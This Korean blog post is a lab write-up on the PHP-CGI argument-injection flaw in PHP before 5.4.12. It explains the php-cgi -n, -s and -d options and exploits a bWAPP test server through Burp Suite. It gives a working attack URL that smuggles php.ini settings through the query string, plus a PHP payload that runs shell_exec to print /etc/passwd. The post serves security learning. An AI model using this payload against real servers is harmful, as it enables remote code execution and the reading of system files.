1. 취약점 이해
입력값 검증에 관한 취약점
PHP 5.4.12 이전 버전의 sapi/cgi/cig_main.c에서 CGI 스크립트가 질의 문자열을 제대로 처리하지 못하여 발생.
php-cgi
-n 옵션 : php.ini 파일을 사용하지 않음
-s 옵션 : Source를 색을 입혀 보여주는 옵션
-d 옵션 : php.ini에 정의된 설정 내용을 임의 설정
Body로 임의의 코드를 대입하면 클라이언트 측에서 원하는 php 코드를 실행
allow_url_fopen=1 : 외부의 URL로 부터 파일을 읽어옴
allow_url_include=1 : 외부의 파일을 include, include_once, require, require_once와 같은 파일로 include 허용
auto_prepend_file=php://input : Http Request Body로부터 data를 가져와 실행
2. 취약점 실습
Kali - Beebox - BWAPP - A9 PHP CGI Remote Code Execution
+ Burp Suite
php admin page 접속 후 - s 옵션 사용
페이지를 source에 색을 입혀서 php 코드로 보이게 출력
이렇게 원격으로 옵션을 사용 할 있음을 이용하여 burp suite으로 공격 진행
공격 코드를 burp suite을 이용해 전송하면 /etc/passwd 내용을 body 값으로 출력한다.
/bWAPP/admin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input
<?php $output =shell_exec('cat /etc/passwd'); echo "$output"; die;
'Security Project' 카테고리의 다른 글
29. MSFV3 Jenkins 서비스 취약점 (0) | 2022.09.22 |
---|---|
28. MSFV3 ElasticSearch 취약점 분석 (0) | 2022.09.22 |
26. Shellshock 취약점 이해 및 실습 (1) | 2022.09.19 |
25. HeartBleed 취약점 이해 및 실습 (0) | 2022.09.19 |
24. 메소드 허용 webdav 취약점 (2) | 2022.09.18 |
댓글